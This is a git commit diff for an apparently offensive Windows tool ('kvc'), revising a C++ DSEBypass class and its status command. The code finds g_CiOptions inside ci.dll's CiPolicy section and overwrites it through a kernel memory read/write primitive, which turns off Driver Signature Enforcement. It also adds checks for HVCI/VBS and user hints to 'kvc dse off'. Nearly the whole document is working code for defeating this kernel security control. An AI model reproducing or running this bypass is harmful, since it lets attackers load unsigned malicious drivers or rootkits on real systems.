Aktualizacja: 2025-10-15 12:46:22

This commit is contained in:
wesmar
2025-10-15 12:46:23 +02:00
parent 23a8570aa9
commit 4f6cf1bdb9
3 changed files with 49 additions and 88 deletions

View File

@@ -3,7 +3,7 @@
#pragma comment(lib, "ntdll.lib") #pragma comment(lib, "ntdll.lib")
// Kernel module structures (same as in Utils.cpp) // Kernel module structures
typedef struct _SYSTEM_MODULE { typedef struct _SYSTEM_MODULE {
ULONG_PTR Reserved1; ULONG_PTR Reserved1;
ULONG_PTR Reserved2; ULONG_PTR Reserved2;
@@ -45,51 +45,51 @@ bool DSEBypass::DisableDSE() noexcept {
DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value and store as original // Step 3: Read current value
auto current = m_rtc->Read32(m_ciOptionsAddr); auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) { if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions"); ERROR(L"[DSE] Failed to read g_CiOptions");
return false; return false;
} }
m_originalValue = current.value(); DWORD currentValue = current.value();
DEBUG(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); m_originalValue = currentValue;
DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
// Step 4: Test write capability - write same value back // Step 4: Check for ANY HVCI/VBS protection bits
DEBUG(L"[DSE] Testing write capability before modification..."); if (currentValue & 0x0001C000) {
if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) { ERROR(L"[!] Cannot proceed: g_CiOptions = 0x%08X (HVCI flags: 0x%05X)",
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); currentValue, (currentValue & 0x0001C000));
ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring"); ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)");
ERROR(L"[!] Memory integrity enforced at hardware virtualization level");
ERROR(L"[!] DSE bypass impossible - disable VBS in BIOS/Windows Security");
return false; return false;
} }
// Verify test write // Step 5: Verify we have patchable DSE (0x00000006)
auto testRead = m_rtc->Read32(m_ciOptionsAddr); if (currentValue != 0x00000006) {
if (!testRead || testRead.value() != m_originalValue) { ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000006)", currentValue);
ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)", ERROR(L"[DSE] DSE may already be disabled or system configuration unsupported");
m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF);
ERROR(L"[DSE] Memory region appears to be protected or monitored");
return false; return false;
} }
DEBUG(L"[DSE] Write capability test passed - memory is writable"); // Step 6: Disable DSE by clearing bits 1 and 2
DWORD newValue = 0x00000000;
// Step 5: Disable DSE by clearing ONLY DSE bits (preserve ALL other flags)
DWORD newValue = m_originalValue & ~0x6; // Clear bit 1 and 2 (DSE), keep rest
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions"); ERROR(L"[DSE] Failed to write g_CiOptions");
return false; return false;
} }
// Step 6: Verify the actual change // Step 7: Verify the change
auto verify = m_rtc->Read32(m_ciOptionsAddr); auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) { if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)",
newValue, verify ? verify.value() : 0xFFFFFFFF);
return false; return false;
} }
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
return true; return true;
} }
@@ -122,31 +122,15 @@ bool DSEBypass::RestoreDSE() noexcept {
DWORD currentValue = current.value(); DWORD currentValue = current.value();
DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
// Step 4: Test write capability before modification // Step 4: Verify DSE is disabled (0x00000000)
DEBUG(L"[DSE] Testing write capability before restoration..."); if (currentValue != 0x00000000) {
if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) { ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000000)", currentValue);
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); ERROR(L"[DSE] DSE may already be enabled or system configuration unsupported");
return false; return false;
} }
auto testRead = m_rtc->Read32(m_ciOptionsAddr); // Step 5: Restore DSE bits
if (!testRead || testRead.value() != currentValue) { DWORD newValue = 0x00000006;
ERROR(L"[DSE] Memory test verification failed");
return false;
}
DEBUG(L"[DSE] Write capability test passed");
// Step 5: Restore DSE bits (preserve HVCI/security flags if present)
DWORD newValue;
if (m_originalValue) {
// We have stored original value from disable - use it
newValue = m_originalValue;
} else {
// No stored original - restore DSE bits while preserving security flags
newValue = currentValue | 0x6; // Set DSE bits, keep upper bits intact
}
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions"); ERROR(L"[DSE] Failed to write g_CiOptions");
@@ -156,7 +140,8 @@ bool DSEBypass::RestoreDSE() noexcept {
// Step 6: Verify the change // Step 6: Verify the change
auto verify = m_rtc->Read32(m_ciOptionsAddr); auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) { if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed"); ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)",
newValue, verify ? verify.value() : 0xFFFFFFFF);
return false; return false;
} }
@@ -216,20 +201,6 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
return std::nullopt; return std::nullopt;
} }
INFO(L"[DSE] Found %d kernel modules", modules->Count);
// Debug: Show first 10 modules for diagnostic purposes
DEBUG(L"[DSE] Listing first 10 kernel modules:");
for (ULONG i = 0; i < modules->Count && i < 10; i++) {
auto& mod = modules->Modules[i];
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) fileName++;
else fileName = mod.ImageName;
DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName,
reinterpret_cast<ULONG_PTR>(mod.ImageBase));
}
// Search for target module by name // Search for target module by name
for (ULONG i = 0; i < modules->Count; i++) { for (ULONG i = 0; i < modules->Count; i++) {
auto& mod = modules->Modules[i]; auto& mod = modules->Modules[i];
@@ -245,10 +216,9 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
if (_stricmp(fileName, moduleName) == 0) { if (_stricmp(fileName, moduleName) == 0) {
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase); ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
// Validate base address is not NULL
if (baseAddr == 0) { if (baseAddr == 0) {
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
continue; // Keep searching in case of duplicates continue;
} }
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
@@ -276,7 +246,6 @@ ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
// g_CiOptions is always at offset +4 in CiPolicy section // g_CiOptions is always at offset +4 in CiPolicy section
// This is a documented offset used by all DSE bypass tools
ULONG_PTR ciOptionsAddr = dataStart + 0x4; ULONG_PTR ciOptionsAddr = dataStart + 0x4;
// Verify we can read from this address // Verify we can read from this address
@@ -324,7 +293,7 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value()); DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value());
// ZOPTYMALIZOWANE: Szukaj tylko CiPolicy bez wypisywania wszystkich // Search for CiPolicy section
for (WORD i = 0; i < numSections.value(); i++) { for (WORD i = 0; i < numSections.value(); i++) {
ULONG_PTR sectionHeader = firstSection + (i * 40); ULONG_PTR sectionHeader = firstSection + (i * 40);
@@ -354,25 +323,4 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
ERROR(L"[DSE] CiPolicy section not found in ci.dll"); ERROR(L"[DSE] CiPolicy section not found in ci.dll");
return std::nullopt; return std::nullopt;
}
bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept {
// Simplified validation - address should be within module bounds
// Maximum reasonable module size is 2MB
return (addr > moduleBase && addr < moduleBase + 0x200000);
}
DWORD DSEBypass::GetWindowsBuild() noexcept {
OSVERSIONINFOEXW osInfo = { sizeof(osInfo) };
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
if (RtlGetVersion) {
RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo);
return osInfo.dwBuildNumber;
}
return 0;
} }

View File

@@ -28,8 +28,10 @@ public:
private: private:
// Internal PE parsing helpers // Internal PE parsing helpers
std::optional<std::pair<ULONG_PTR, SIZE_T>> GetTextSection(ULONG_PTR moduleBase) noexcept;
std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept; std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept;
bool IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept;
DWORD GetWindowsBuild() noexcept; // HVCI/VBS detection
bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept {
return (ciOptionsValue & 0x0001C000) != 0;
}
}; };

View File

@@ -332,6 +332,7 @@ int wmain(int argc, wchar_t* argv[])
} }
bool dseEnabled = (value & 0x6) != 0; // Bit 1 and 2 = DSE bool dseEnabled = (value & 0x6) != 0; // Bit 1 and 2 = DSE
bool hvciEnabled = (value & 0x0001C000) != 0; // HVCI/VBS flags
std::wcout << L"\n"; std::wcout << L"\n";
INFO(L"DSE Status Information:"); INFO(L"DSE Status Information:");
@@ -341,12 +342,22 @@ int wmain(int argc, wchar_t* argv[])
INFO(L" Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR"); INFO(L" Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR");
std::wcout << L"\n"; std::wcout << L"\n";
if (dseEnabled) { // Check for HVCI/VBS first
if (hvciEnabled) {
SUCCESS(L"Driver Signature Enforcement: ENABLED");
std::wcout << L"\n";
ERROR(L"[!] HVCI/VBS detected (flags: 0x%05X)", (value & 0x0001C000));
ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)");
ERROR(L"[!] DSE bypass not available - kernel memory protected by Secure Kernel");
}
else if (dseEnabled) {
SUCCESS(L"Driver Signature Enforcement: ENABLED"); SUCCESS(L"Driver Signature Enforcement: ENABLED");
INFO(L"System is protected - only signed drivers can load"); INFO(L"System is protected - only signed drivers can load");
INFO(L"DSE bypass available - use 'kvc dse off' to disable");
} else { } else {
ERROR(L"Driver Signature Enforcement: DISABLED"); ERROR(L"Driver Signature Enforcement: DISABLED");
INFO(L"WARNING: Unsigned drivers can be loaded!"); INFO(L"WARNING: Unsigned drivers can be loaded!");
INFO(L"Use 'kvc dse on' to restore protection");
} }
std::wcout << L"\n"; std::wcout << L"\n";